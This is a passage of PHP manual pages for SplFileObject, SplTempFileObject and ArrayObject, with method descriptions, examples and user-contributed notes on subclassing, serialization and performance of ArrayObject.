foreach ($file as $row) {
    list ($fruit, $quantity) = $row;
    // Do something with values
}
?>

Contents of data.csv

<?php
apples|20
bananas|14
cherries|87
?>

See Also

  • SplFileObject::getCsvControl() - Get the delimiter and enclosure character for CSV
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

There are no user contributed notes for this page.


Sets flags for the SplFileObject

  • « SplFileObject::setCsvControl
  • SplFileObject::setMaxLineLen »
  • PHP Manual
  • SplFileObject
  • Sets flags for the SplFileObject

SplFileObject::setFlags

(PHP 5 >= 5.1.0)

SplFileObject::setFlags — Sets flags for the SplFileObject

Description

public void SplFileObject::setFlags ( int $flags )

Sets the flags to be used by the SplFileObject.

Parameters

flags

Bit mask of the flags to set. See SplFileObject constants for the available flags.

Return Values

No value is returned.

Examples

Example #1 SplFileObject::setFlags() example

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $fields) {
    var_dump($fields);
}
?>

See Also

  • SplFileObject::getFlags() - Gets flags for the SplFileObject

User Contributed Notes

There are no user contributed notes for this page.


Set maximum line length

  • « SplFileObject::setFlags
  • SplFileObject::__toString »
  • PHP Manual
  • SplFileObject
  • Set maximum line length

SplFileObject::setMaxLineLen

(PHP 5 >= 5.1.0)

SplFileObject::setMaxLineLen — Set maximum line length

Description

public void SplFileObject::setMaxLineLen ( int $max_len )

Sets the maximum length of a line to be read.

Parameters

max_len

The maximum length of a line.

Return Values

No value is returned.

Errors/Exceptions

Throws DomainException when max_len is less than zero.

Examples

Example #1 SplFileObject::setMaxLineLen() example

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $line . "\n";
}
?>

Contents of lipsum.txt

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Duis nec sapien felis, ac sodales nisl.
Nulla vitae magna vitae purus aliquet consequat.

The above example will output something similar to:

Lorem ipsum dolor s
it amet, consectetu
r adipiscing elit.

Duis nec sapien fel
is, ac sodales nisl
.

Nulla vitae magna v
itae purus aliquet
consequat.

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Alias of SplFileObject::current

  • « SplFileObject::setMaxLineLen
  • SplFileObject::valid »
  • PHP Manual
  • SplFileObject
  • Alias of SplFileObject::current

SplFileObject::__toString

(PHP 5 >= 5.1.0)

SplFileObject::__toString — Alias of SplFileObject::current()

Description

public void SplFileObject::__toString ( void )

This method is an alias of SplFileObject::current().

User Contributed Notes

There are no user contributed notes for this page.


Not at EOF

  • « SplFileObject::__toString
  • SplTempFileObject »
  • PHP Manual
  • SplFileObject
  • Not at EOF

SplFileObject::valid

(PHP 5 >= 5.1.0)

SplFileObject::valid — Not at EOF

Description

public bool SplFileObject::valid ( void )

Check whether EOF has been reached.

Parameters

This function has no parameters.

Return Values

Returns TRUE if not reached EOF, FALSE otherwise.

Examples

Example #1 SplFileObject::valid() example

<?php
// Loop over a file, line by line
$file = new SplFileObject("file.txt");
while ($file->valid()) {
    echo $file->fgets();
}
?>

See Also

  • SplFileObject::current() - Retrieve current line of file
  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line

User Contributed Notes

There are no user contributed notes for this page.


The SplTempFileObject class

(PHP 5 >= 5.1.2)

Introduction

The SplTempFileObject class offers an object oriented interface for a temporary file.

Class synopsis

SplTempFileObject extends SplFileObject implements SeekableIterator , RecursiveIterator {
/* Methods */
public __construct ([ int $max_memory ] )
/* Inherited methods */
public SplFileObject::__construct ( string $filename [, string $open_mode = "r" [, bool $use_include_path = false [, resource $context ]]] )
public string|array SplFileObject::current ( void )
public bool SplFileObject::eof ( void )
public bool SplFileObject::fflush ( void )
public string SplFileObject::fgetc ( void )
 public array SplFileObject::fgetcsv
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public string SplFileObject::fgets ( void )
public string SplFileObject::fgetss ([ string $allowable_tags ] )
public bool SplFileObject::flock ( int $operation [, int &$wouldblock ] )
public int SplFileObject::fpassthru ( void )
public int SplFileObject::fputcsv ( array $fields [, string $delimiter = "," [, string $enclosure = '"' ]] )
public string SplFileObject::fread ( int $length )
public mixed SplFileObject::fscanf ( string $format [, mixed &$... ] )
public int SplFileObject::fseek ( int $offset [, int $whence = SEEK_SET ] )
public array SplFileObject::fstat ( void )
public int SplFileObject::ftell ( void )
public bool SplFileObject::ftruncate ( int $size )
public int SplFileObject::fwrite ( string $str [, int $length ] )
public void SplFileObject::getChildren ( void )
public array SplFileObject::getCsvControl ( void )
public int SplFileObject::getFlags ( void )
public int SplFileObject::getMaxLineLen ( void )
public bool SplFileObject::hasChildren ( void )
public int SplFileObject::key ( void )
public void SplFileObject::next ( void )
public void SplFileObject::rewind ( void )
public void SplFileObject::seek ( int $line_pos )
 public void SplFileObject::setCsvControl
  ([ string $delimiter = ","
 [, string $enclosure = "\""
 [, string $escape = "\\"
]]] )
public void SplFileObject::setFlags ( int $flags )
public void SplFileObject::setMaxLineLen ( int $max_len )
public void SplFileObject::__toString ( void )
public bool SplFileObject::valid ( void )
}

Table of Contents

  • SplTempFileObject::__construct — Construct a new temporary file object

User Contributed Notes

There are no user contributed notes for this page.


Construct a new temporary file object

  • « SplTempFileObject
  • Miscellaneous Classes and Interfaces »
  • PHP Manual
  • SplTempFileObject
  • Construct a new temporary file object

SplTempFileObject::__construct

(PHP 5 >= 5.1.2)

SplTempFileObject::__construct — Construct a new temporary file object

Description

public SplTempFileObject::__construct ([ int $max_memory ] )

Construct a new temporary file object.

Parameters

max_memory

The maximum amount of memory (in bytes, default is 2 MB) for the temporary file to use. If the temporary file exceeds this size, it will be moved to a file in the system's temp directory.

If max_memory is negative, only memory will be used. If max_memory is zero, no memory will be used.

Return Values

No value is returned.

Errors/Exceptions

Throws a RuntimeException if an error occurs.

Examples

Example #1 SplTempFileObject() example

This example writes a temporary file in memory which can be written to and read from.

<?php
$temp = new SplTempFileObject();
$temp->fwrite("This is the first line\n");
$temp->fwrite("And this is the second.\n");
echo "Written " . $temp->ftell() . " bytes to temporary file.\n\n";

// Rewind and read what was written
$temp->rewind();
foreach ($temp as $line) {
    echo $line;
}
?>

The above example will output something similar to:

Written 47 bytes to temporary file.

This is the first line
And this is the second.

See Also

  • SplFileObject
  • PHP input/output streams (for php://temp and php://memory)

User Contributed Notes

There are no user contributed notes for this page.


Miscellaneous Classes and Interfaces

Table of Contents

  • ArrayObject
  • SplObserver
  • SplSubject

Classes and interfaces which do not fit into the other SPL categories.

User Contributed Notes

There are no user contributed notes for this page.


The ArrayObject class

(PHP 5)

Introduction

This class allows objects to work as arrays.

Class synopsis

ArrayObject implements IteratorAggregate , ArrayAccess , Serializable , Countable {
/* Constants */
const integer STD_PROP_LIST = 1 ;
const integer ARRAY_AS_PROPS = 2 ;
/* Methods */
public __construct ([ mixed $input = [] [, int $flags = 0 [, string $iterator_class = "ArrayIterator" ]]] )
public void append ( mixed $value )
public void asort ( void )
public int count ( void )
public array exchangeArray ( mixed $input )
public array getArrayCopy ( void )
public int getFlags ( void )
public ArrayIterator getIterator ( void )
public string getIteratorClass ( void )
public void ksort ( void )
public void natcasesort ( void )
public void natsort ( void )
public bool offsetExists ( mixed $index )
public mixed offsetGet ( mixed $index )
public void offsetSet ( mixed $index , mixed $newval )
public void offsetUnset ( mixed $index )
public string serialize ( void )
public void setFlags ( int $flags )
public void setIteratorClass ( string $iterator_class )
public void uasort ( callable $cmp_function )
public void uksort ( callable $cmp_function )
public void unserialize ( string $serialized )
}

Predefined Constants

ArrayObject Flags

ArrayObject::STD_PROP_LIST

Properties of the object have their normal functionality when accessed as list (var_dump, foreach, etc.).

ArrayObject::ARRAY_AS_PROPS

Entries can be accessed as properties (read and write).

Changelog

Version | Description
5.3.0 | Implements Serializable.

Table of Contents

  • ArrayObject::append — Appends the value
  • ArrayObject::asort — Sort the entries by value
  • ArrayObject::__construct — Construct a new array object
  • ArrayObject::count — Get the number of public properties in the ArrayObject
  • ArrayObject::exchangeArray — Exchange the array for another one.
  • ArrayObject::getArrayCopy — Creates a copy of the ArrayObject.
  • ArrayObject::getFlags — Gets the behavior flags.
  • ArrayObject::getIterator — Create a new iterator from an ArrayObject instance
  • ArrayObject::getIteratorClass — Gets the iterator classname for the ArrayObject.
  • ArrayObject::ksort — Sort the entries by key
  • ArrayObject::natcasesort — Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::natsort — Sort entries using a "natural order" algorithm
  • ArrayObject::offsetExists — Returns whether the requested index exists
  • ArrayObject::offsetGet — Returns the value at the specified index
  • ArrayObject::offsetSet — Sets the value at the specified index to newval
  • ArrayObject::offsetUnset — Unsets the value at the specified index
  • ArrayObject::serialize — Serialize an ArrayObject
  • ArrayObject::setFlags — Sets the behavior flags.
  • ArrayObject::setIteratorClass — Sets the iterator classname for the ArrayObject.
  • ArrayObject::uasort — Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort — Sort the entries by keys using a user-defined comparison function
  • ArrayObject::unserialize — Unserialize an ArrayObject

User Contributed Notes

rwn dot gallego at gmail dot com 12-Aug-2013 06:30
There is a better explanation about the ArrayObject flags (STD_PROP_LIST and ARRAY_AS_PROPS) right here:

http://stackoverflow.com/a/16619183/1019305

Thanks to JayTaph
mehea 07-Nov-2012 07:28
Long story short b/c arrays by default are passed by value, if you pass an array to a function, the function works on a copy of the array while the original array remains unaltered by the function.

You may cause a change to the array to be reflected in the original array by having the function return the altered array and assign it to the variable for the original array, as follows:

<?php
function my_array_modify($data) {
    $data['b'] = 2;
    return $data;
}

$regularArray = array();

$regularArray['a'] = 1;

$regularArray = my_array_modify($regularArray);

var_dump($regularArray['b']); // 2
?>

Or, you may explicitly pass the array by reference in which case there is no need for the function to return the array since the change will have effected the original array, as follows:

<?php
function my_arrayref_modify(&$data) {
    $data['bb'] = 22;
}
my_arrayref_modify($regularArray);
var_dump($regularArray['bb']); // 22
?>
php5 dot man at lightning dot hu 05-Jan-2012 05:24
As you know ArrayObject is not an array so you can't use the built in array functions. Here's a trick around that:

Extend the ArrayObject class with your own and implement this magic method:

<?php
    public function __call($func, $argv)
    {
        if (!is_callable($func) || substr($func, 0, 6) !== 'array_')
        {
            throw new BadMethodCallException(__CLASS__.'->'.$func);
        }
        return call_user_func_array($func, array_merge(array($this->getArrayCopy()), $argv));
    }
?>

Now you can do this with any array_* function:
<?php
$yourObject->array_keys();
?>
- Don't forget to ommit the first parameter - it's automatic!

Note: You might want to write your own functions if you're working with large sets of data.
MarkAndrewSlade at gmail dot com 22-Aug-2011 03:05
I found the description of STD_PROP_LIST a bit vague, so I put together a simple demonstration to show its behavior:

<?php

$a = new ArrayObject(array(), ArrayObject::STD_PROP_LIST);
    $a['arr'] = 'array data';
    $a->prop = 'prop data';
$b = new ArrayObject();
    $b['arr'] = 'array data';
    $b->prop = 'prop data';

// ArrayObject Object
// (
//      [prop] => prop data
// )
print_r($a);

// ArrayObject Object
// (
//      [arr] => array data
// )
print_r($b);

?>
marijn at sensimedia dot nl 21-Jul-2011 09:34
A gotcha that is indeed mentioned in the manual, but isn't readily obvious and just cost me half an hour:

Objects implementing the Serializable interface do NOT get __sleep and __wakeup called; instead, they use serialize and unserialize methods, respectively (why, I don't know, but whatever - I'm sure there's a reason).

Hence, I was trying to serialize a database resultset in an object extending ArrayObject, and needed to fix some stuff regarding database resources on serialize. Took me a while to figure out __sleep wasn't getting called because ArrayObjects implements Serialize...

Presumably the ArrayObject internally implements the serialize/unserialize methods (in a trivial manner), hence the error wasn't apparent immediately (i.e., no fatal error was thrown) and I'd been trying to track why my objects didn't get serialized (they were of course) instead of renaming and fixing the methods.
sfinktah at php dot spamtrak dot org 17-Apr-2011 09:27
If you plan to derive your own class from ArrayObject, and  wish to maintain complete ArrayObject functionality (such as being able to cast to an array), it is necessary to use ArrayObject's own private property "storage".

Since that is impossible to do directly, you must use ArrayObject's offset{Set,Get,Exists,Unset} methods to manipulate it indirectly.

As a side benefit, this means you inherit all the iteration and other functions in complete working order.

This may sound obvious to someone who has never implemented their own ArrayObject class...  but it is far from so.

<?php

class MyArrayObject extends ArrayObject {
        static $debugLevel = 2;

        static public function sdprintf() {
                if (static::$debugLevel > 1) {
                        call_user_func_array("printf", func_get_args());
                }
        }

        public function offsetGet($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetSet($name, $value) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetExists($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetUnset($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
}

$mao = new MyArrayObject();
$mao["name"] = "bob";
$mao["friend"] = "jane";
print_r((array)$mao);

/* Output:

offsetSet(name,bob)
offsetSet(friend,jane)
Array
(
    [name] => bob
    [friend] => jane
)       */
?>

If you wish to use the "Array as Properties" flag, you simply need to include this in your constructor:

<?php parent::setFlags(parent::ARRAY_AS_PROPS); ?>

This will allow you to do things such as the below example, without overriding __get or __set .

<?php
$mao->name = "Phil";
echo $mao["name"];   /* Outputs "Phil" */
?>
rob at tdd dot org dot uk 03-Mar-2011 01:38
I don't believe the same performance is true since PHP 5.3. Using the same fill, read_key and foreach approach on both native arrays and ArrayObjects with 10000 keys I get the following

PHP 5.2

array() fill         0.013101
array() read         0.008685
array() foreach      0.004319
ArrayObject fill     0.014136
ArrayObject read     0.010003
ArrayObject foreach  3.454612

PHP 5.3

array() fill         0.010395
array() read         0.005933
array() foreach      0.001903
ArrayObject fill     0.010598
ArrayObject read     0.006387
ArrayObject foreach  0.003451

This was the code I used for both, an array or ArrayObject is passed into each of the functions. Again PEAR::Benchmark was used to get the results.

<?php
require_once 'Benchmark/Timer.php';

define('KEYS', 10000);

function fill(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $arr['key-' . $i] = $i;
    }
}

function read_key(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $v = $arr['key-' . $i];
    }
}

function fe(&$arr) {
    foreach ($arr as $key => $value) {
        $v = $value;
    }
}
?>
danbettles at yahoo dot co dot uk 23-Aug-2009 05:56
To implement array-style appending (e.g. "$object[] = 'foo';") in your own class implementing the ArrayAccess _interface_, all you need do is check if the key passed to your implementation of offsetSet() is NULL.  Something like the following.

<?php

class MyArrayObject implements ArrayAccess {

    /**
     * @var array
     */
    private $aValue;

    // ...

    /**
     * @see ArrayAccess::offsetSet()
     */
    public function offsetSet ($p_key, $p_value) {
        if (is_null($p_key)) {
            $this->aValue[] = $p_value;
        }
        else {
            $this->aValue[$p_key] = $p_value;
        }
    }

    // ...
}
?>
skrebbel at gmail dot com 18-Apr-2009 12:25
According to my benchmarks, doing foreach() on an ArrayObject is significantly slower than doing so on a vanilla array(). However, inserting keys and retrieving them is almost the same speed.

So, if performance is important, consider not using ArrayObject or descendant classes when you're iterating over its values a lot.

These are my timing results, using PEAR::Benchmark:

ArrayObject fill            0.01441502571106
ArrayObject read_key        0.018320083618164
ArrayObject read_foreach    2.1559031009674

array() fill                0.012364864349365
array() read_key            0.013092041015625
array() read_foreach        0.011217832565308

In all cases, 'fill()' inserts 10000 numbers at string keys, 'read_key()' reads all of those values by referencing the keys, and 'read_foreach()' does the same by walking through the array(object) with foreach().

As you can see, filling or reading from an ArrayObject by key is only 10% to 15% slower, but doing a foreach() is 200 times as costly. I am not sure what the cause of this may be.
nonproffessional at clockworkgeek dot com 09-Mar-2009 08:04
To get a primitive array type back from an ArrayObject you can use the member function exchangeArray() or more simply just cast it:

<?php
$object = new ArrayObject();
$object[] = "Hello World!";
// $object is now an ArrayObject with one value appended.

$array = (array) $object;
// $array is now a simple array with the single value "Hello World!".
?>
deminy at deminy dot net 02-Jan-2009 10:31
Generally variable $this can't be used as an array within an object context. For example, following code piece would cause a fatal error:

<?php
class TestThis {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestThis();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>

But things are different when $this is used in an ArrayObject object. e.g., following code piece are valid:

<?php
class TestArrayObject extends ArrayObject {
    public function __set($name, $val) {
        $this[$name] = $val;
    }

    public function __get($name) {
        return $this[$name];
    }
}

$obj = new TestArrayObject();
$obj->a = 'aaa';
echo $obj->a . "\n";
?>
Venelin Vulkov 05-Nov-2008 10:09
Simple example of usage :

<?php

$array = array('Buck','Jerry','Tomas');

$arrayObject = new ArrayObject($array);
// Add new element
$arrayObject->append('Tweety');

// We are getting the iterator of the object
$iterator = $arrayObject->getIterator();

// Simple while loop
while ($iterator->valid()) {
    echo $iterator->current() . "\n";
    $iterator->next();
}

/* Outputs */
Buck
Jerry
Tomas
Tweety

?>

Note that not all the public methods of this class are documented here .
( Which includes a lot sorting methods ) .

Regards
tony dot fraser at gmail dot com 09-Oct-2008 05:30
The code above will pretty much work as it is, though I have since added in some features.

Further notes:
1. Be very aware of this bug until 5.3 becomes stable.
http://bugs.php.net/bug.php?id=41528

Basically, we wrote this collection to be a java-like object cache stored in session (instead of  hitting the soap server or a DB all the time) to load objects in $_SESSION['cache']  But, this particular bug will prevent the object from working in the second page. The variable is there, but there's nothing in it.

The easy work around is to upgrade PHP to 5.3, and it works like a charm, but at the moment 5.3 happens to be in alpha mode.

2. You cannot have a PDO object in as a member variable of a class stored in the ArrayObject if you want it to pass through sessions. You can store it if it's not going into a session, but if you want to cache like we're tying to do, make SURE you $_dbHandle="" wherever you need to.

3. My earlier post was just proof of concept. We have it working now so  UserCollection extends GenericCollectionAbstract.  and GenericCollectionAbstract implements the GenericCollectionInterface. GenericCollectionObject is the object stored in the GenericCollection's $arrayObject data, and is basically just a two property object that holds the ID of the object, and the object itself.

When all is said and done this works like a charm.

page 1 ->
$_SESSION['u'] = new UserCollection();
$_SESSION['u']->getObject(1, $dbWW);
page-2->
echo $_SESSION['u']->getObject(2, $dbWW)->getProperty('email');

And of course, getProperty() is from my user class.

my UserCollecton->getObject overwrite method is as follows:

<?php
public function getObject($_id, $_dbHandle){
        //error_log('trying to get object');
        if (parent::objectExists($_id)){
            return parent::getObject($_id, $_dbHandle);
            error_log('returning object');
        }
        else{
            //error_log('collecting new user');
            $_tempUser = new User();
            if ($_tempUser->populateByID($_id, $_dbHandle)){
                parent::addObject($_id, $_tempUser);
                if (parent::objectExists($_id)) {
                    $_return = parent::getObject($_id);
                }
                else $_return = "";
            }
            else {
                $_return = "";
            }
            $this->dbHandle=""; //This has to be done, otherwise it's stored in the object as a private var
                                //and it will break the object if it resides in a session.
            return $_return;
        }
?>

Shoot me an email if you have any questions.
enjoy.!
tony at tonyandcarol dot com 08-Oct-2008 04:49
My need was to create a java-like collection where I could store objects by their DB primary keys while having the standard stack capabilities of adding, retrieving, and removing objects from collection. ArrayObject didn't quite do what I need it to do so I extended it a little.

<?php
class GenericCollection extends ArrayObject{
    private $data;
    function __construct(){
        $this->data = new ArrayObject();
    }

    function addObject($_id, $_object){
        $_thisItem = new CollectionObject($_id, $_object);
        $this->data->offSetSet($_id, $_thisItem);
    }
    function deleteObject($_id){
        $this->data->offsetUnset($_id);
    }
    function getObject($_id){
        $_thisObject = $this->data->offSetGet($_id);
        return $_thisObject->getObject();
    }
    function printCollection() {
        print_r($this->data);
    }
}

class CollectionObject {
    private $id;
    private $object;

    function __construct($_id, $_object){
        $this->id = $_id;
        $this->object = $_object;
    }
    function getObject(){
        return $this->object;
    }
    function printObject() {
        print_r($this);
    }
}
?>

Call it like so:

<?php
$u1 = new User/Data/Object (); //whatever, just an object.

$myCollection = new GenericCollection();
$myCollection->addObject(1, $u1);
print_r($myCollection->getObject(1));
?>

Now you have a simple and functional collection framework. Add methods in for specific types of sorting, we just didn't need anything other than primary key access. And you can add introspection into the collection object if you need to track what kind of an object it is.

tony@tonyandcarol.com
dave at csixty4 dot com 05-Sep-2008 05:28
If you want to use array functions on an ArrayObject, why not use iterator_to_array() to get a standard PHP array?  Do your operations on that array, then instantiate a new ArrayObject, passing it the array.

This might be a little slow on large ArrayObjects, but you'd have access to all of the array functions.
Anonymous 10-Aug-2008 03:17
Too bad the Array functions [1] are not available on this object… otherwise I would be using it all the time.

[1] http://nl.php.net/manual/en/ref.array.php


Appends the value

  • « ArrayObject
  • ArrayObject::asort »
  • PHP Manual
  • ArrayObject
  • Appends the value

ArrayObject::append

(PHP 5 >= 5.0.0)

ArrayObject::append — Appends the value

Description

public void ArrayObject::append ( mixed $value )

Appends a new value as the last element.

Note:

This method cannot be called when the ArrayObject was constructed from an object. Use ArrayObject::offsetSet() instead.

Parameters

value

The value being appended.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::append() example

<?php
$arrayobj = new ArrayObject(array('first','second','third'));
$arrayobj->append('fourth');
$arrayobj->append(array('five', 'six'));
var_dump($arrayobj);
?>

The above example will output:

object(ArrayObject)#1 (5) {
  [0]=>
  string(5) "first"
  [1]=>
  string(6) "second"
  [2]=>
  string(5) "third"
  [3]=>
  string(6) "fourth"
  [4]=>
  array(2) {
    [0]=>
    string(4) "five"
    [1]=>
    string(3) "six"
  }
}

See Also

  • ArrayObject::offsetSet() - Sets the value at the specified index to newval

User Contributed Notes

c dot 1 at smithies dot org 25-Nov-2009 06:56
This member function is implemented as follows:

<?php
class ArrayObject /* .... */ {
  // ...
  public function append($v) {
    return $this->offsetSet(NULL, $v);
  }
  // ...
}
?>


Sort the entries by value

  • « ArrayObject::append
  • ArrayObject::__construct »
  • PHP Manual
  • ArrayObject
  • Sort the entries by value

ArrayObject::asort

(PHP 5 >= 5.2.0)

ArrayObject::asort — Sort the entries by value

Description

public void ArrayObject::asort ( void )

Sorts the entries such that the keys maintain their correlation with the entries they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant.

Parameters

This function has no parameters.

Return Values

No value is returned.

Examples

Example #1 ArrayObject::asort() example

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");
$fruitArrayObject = new ArrayObject($fruits);
$fruitArrayObject->asort();

foreach ($fruitArrayObject as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

c = apple
b = banana
d = lemon
a = orange

The fruits have been sorted in alphabetical order, and the key associated with each entry has been maintained.

See Also

  • ArrayObject::ksort() - Sort the entries by key
  • ArrayObject::natsort() - Sort entries using a "natural order" algorithm
  • ArrayObject::natcasesort() - Sort an array using a case insensitive "natural order" algorithm
  • ArrayObject::uasort() - Sort the entries with a user-defined comparison function and maintain key association
  • ArrayObject::uksort() - Sort the entries by keys using a user-defined comparison function

User Contributed Notes

There are no user contributed notes for this page.


Construct a new array object

  • « ArrayObject::asort
  • ArrayObject::count »
  • PHP Manual
  • ArrayObject
  • Construct a new array object

ArrayObject::__construct

(PHP 5 >= 5.0.0)

ArrayObject::__construct — Construct a new array object

Description

public ArrayObject::__construct ([ mixed $input = [] [, int $flags = 0 [, string $iterator_class = "ArrayIterator" ]]] )

This constructs a new array object.

Parameters

input

The input parameter accepts an array or an Object.

flags

Flags to control the behaviour of the ArrayObject object. See ArrayObject::setFlags().

iterator_class

Specify the class that will be used for iteration of the ArrayObject object.

Return Values

Returns an ArrayObject object on success.

Errors/Exceptions

Throws InvalidArgumentException when:

  • input is not an array or object
  • flags is not an integer
  • iterator_class is not an object that implements Iterator

Examples

Example #1 ArrayObject::__construct() example

<?php
$array = array('1' => 'one',
               '2' => 'two',
               '3' => 'three');

$arrayobject = new ArrayObject($array);

var_dump($arrayobject);
?>

The above example will output:

object(ArrayObject)#1 (3) {
  [1]=>
  string(3) "one"
  [2]=>
  string(3) "two"
  [3]=>
  string(5) "three"
}

See Also

  • ArrayObject::setflags() - Sets the behavior flags.

User Contributed Notes

kjarli at gmail dot com 24-Jan-2013 11:48
As of PHP 5.3 I recommend to use this, I have replace "new self" by "new static". This allows you to extend this class by your own and let your class create itself recursively without overwriting the constructor.

<?php
/**
 * @author Iltar van der Berg
 * @version 2.0.0
 */
class RecursiveArrayObject extends ArrayObject
{
    /**
     * overwrites the ArrayObject constructor for
     * iteration through the "array". When the item
     * is an array, it creates another self() instead
     * of an array
     *
     * @param Array $array data array
     */
    public function __construct(Array $array)
    {
        foreach($array as $key => $value) {
            if(is_array($value)){
                $value = new static($value);
            }
            $this->offsetSet($key, $value);
        }
    }

    /**
     * returns Array when printed (like "echo array();")
     * instead of an error
     *
     * @return string
     */
    public function __ToString()
    {
        return 'Array';
    }
}
?>
ashley at nospam dot zincdigital dot com 04-Jul-2009 12:18
The great confusion with this class is in its naming.  ArrayObject infers it will behave as an Array and as an Object.  It won't.  It behaves as an array.  It would better be called ArrayType.  You can, with some work, get it to work both as an object and as an array, but that is up to you.
kjarli at gmail dot com 03-Jul-2008 12:11
This extend allows multidimensional arrays to be converted aswell. It also returns 'Array' when echoed (unlike ArrayObject which gives an error).
<?php
/**
 * @author iltar van der berg
 * @version 1.0.1
 */
class RecursiveArrayObject extends ArrayObject
{
    /**
     * overwrites the ArrayObject constructor for
     * iteration through the "array". When the item
     * is an array, it creates another self() instead
     * of an array
     *
     * @param Array $array data array
     */
    public function __construct(Array $array)
    {
        foreach($array as $key => $value) {
            if(is_array($value)){
                $value = new self($value);
            }
            $this->offsetSet($key, $value);
        }
    }

    /**
     * returns Array when printed (like "echo array();")
     * instead of an error
     *
     * @return string
     */
    public function __ToString()
    {
        return 'Array';
    }
}
?>
german dot rumm at gmail dot com 14-Mar-2008 07:37
BTW, if you need to change array later, use exchangeArray() method. Good to know when you are writing a class that extends ArrayObject()

AFAIK, exchangeArray() doesn't return anything.

<?php
    $a = array('one', 'two', 'three');
    $ao = new ArrayObject($a);

    foreach ($ao as $element) {
        echo $element . ' '; // one two three
    }

    $b = array('four', 'five', 'six');
    $ao->exchangeArray($b); // returns null

    foreach ($ao as $element) {
        echo $element . ' '; // four five six
    }
?>
agalkin at agalkin dot ru 21-Aug-2007 10:56
Note that the first argument to ArrayObject::__construct, the initial array, is passed by reference. Nevertheless, modification of the array doesn't modify the object, so it may cause unexpected behaviour.

<?php
$array = array('foo' => 'initial');
$obj = new ArrayObject($array);

// array was passed by reference:
$obj['foo'] = 'modified';
var_dump($array); // foo => modified

// but it doesn't work backwards:
$array['foo'] = 'modified_again';
var_dump($obj); // foo => modified
var_dump($array); // foo => modified_again
?>
Grigori Kochanov 15-Jul-2006 12:51
As Marcus explained, the flag ArrayObject::SPL_ARRAY_AS_PROPS means the array element may be used as a property if there is no conflict with visible properties.

If there are visible properties in the class, the array element will not overwrite it's value.

<?php
class Rules extends ArrayObject {
    public $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 1

<?php
class Rules extends ArrayObject {
    private $len = 1;
    function __construct($array){
        parent::__construct($array,ArrayObject::ARRAY_AS_PROPS);
        $this['len'] = 2;
    }
}
$x = new Rules(array(1,2));
echo $x->len;
?>
Result: 2


Get the number of public properties in the ArrayObject

  • « ArrayObject::__construct
  • ArrayObject::exchangeArray »
  • PHP Manual
  • ArrayObject
  • Get the number of public properties in the ArrayObject

ArrayObject::count

(PHP 5 >= 5.0.0)

ArrayObject::count — Get the number of public properties in the ArrayObject

Description

public int ArrayObject::count ( void )

Get the number of public properties in the ArrayObject.

Parameters

This function has no parameters.

Return Values

The number of public properties in the ArrayObject.

Note:

When the ArrayObject is constructed from an array all properties are public.

Examples

Example #1 ArrayObject::count() example

<?php
class Example {
    public $public = 'prop:public';
    private $prv   = 'prop:private';
    protected $prt = 'prop:protected';
}

$arrayobj = new ArrayObject(new Example());
var_dump($arrayobj->count());

$arrayobj = new ArrayObject(array('first','second','third'));
var_dump($arrayobj->count());
?>

The above example will output:

int(1)
int(3)

User Contributed Notes

There are no user contributed notes for this page.


Exchange the array for another one.

  • « ArrayObject::count
  • ArrayObject::getArrayCopy »
  • PHP Manual
  • ArrayObject
  • Exchange the array for another one.

ArrayObject::exchangeArray

(PHP 5 >= 5.1.0)

ArrayObject::exchangeArray — Exchange the array for another one.

Description

public array ArrayObject::exchangeArray ( mixed $input )

Exchange the current array with another array or object.

Parameters

input

The new array or object to exchange with the current array.

Return Values

Returns the old array.

Examples

Example #1 ArrayObject::exchangeArray() example

<?php
// Array of available fruits
$fruits = array("lemons" => 1, "oranges" => 4, "bananas" => 5, "apples" => 10);
// Array of locations in Europe
$locations = array('Amsterdam', 'Paris', 'London');

$fruitsArrayObject = new ArrayObject($fruits);

// Now exchange fruits for locations
$old = $fruitsArrayObject->exchangeArray($locations);
print_r($old);
print_r($fruitsArrayObject);

?>

The above example will output:

Array
(
    [lemons] => 1
    [oranges] => 4
    [bananas] => 5
    [apples] => 10
)
ArrayObject Object
(
    [0] => Amsterdam
    [1] => Paris
    [2] => London
)

User Contributed Notes

Corentin Larose 09-May-2014 11:59
It's worth notting that ArrayObject::exchangeArray() doesn't call ArrayObject::offsetSet() internally for each offset/property of the array/object provided in argument.

It's also worth noting the let's say "unexpected" behavior of get/set:

<?php
class MyArrayObject extends ArrayObject
{
    public function offsetSet($name, $value)
    {
        parent::offsetSet($name . '_control', $value);
        parent::offsetSet($name, $value);
    }
}

$test = new MyArrayObject();
$test->setFlags(\ArrayObject::ARRAY_AS_PROPS);
$test['my_value_1'] = 1;
